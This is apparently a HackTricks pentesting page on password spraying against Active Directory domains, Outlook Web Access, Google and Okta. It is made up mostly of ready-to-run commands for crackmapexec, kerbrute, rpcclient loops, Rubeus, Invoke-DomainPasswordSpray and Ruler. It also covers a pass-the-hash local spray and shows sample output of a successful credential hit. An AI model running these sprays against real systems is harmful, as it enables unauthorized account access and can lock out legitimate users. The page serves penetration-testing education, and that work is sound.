# Password Spraying
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## **Password Spraying** Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\ By **default** the **minimum** **password** **length** is **7**. Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10). ### Get password policy If you have some user credentials or a shell as a domain user you can **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol enum4linux -u 'username' -p 'password' -P rpcclient -U "" -N 10.10.10.10; rpcclient $>querydominfo ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength # From Windows net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` ### Exploitation from Linux (or all) * Using **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` * Using [**kerbrute**](https://github.com/ropnop/kerbrute) **** (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` * [_**spray**_](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_ ```bash spray.sh -smb ``` * Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` * With the `scanner/smb/smb_login` module of **Metasploit**: ![](<../../.gitbook/assets/image (132) (1).png>) * Using **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` #### From Windows * With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` * With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it): ```powershell Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` * With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)**** ``` Invoke-SprayEmptyPassword ``` ## Outlook Web Access There are multiples tools for p**assword spraying outlook**. * With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/) * with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/) * With [Ruler](https://github.com/sensepost/ruler) (reliable!) * With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) * With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) To use any of these tools, you need a user list and a password / a small list of passwords to spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 [x] Failed: cube0x0:Summer2020 [x] Failed: a.admin:Summer2020 [x] Failed: c.cube:Summer2020 [+] Success: s.svensson:Summer2020 ``` ## Google * [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) ## Okta * [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) * [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) * [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) ## References * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) * [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) * www.blackhillsinfosec.com/?p=5296 * [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.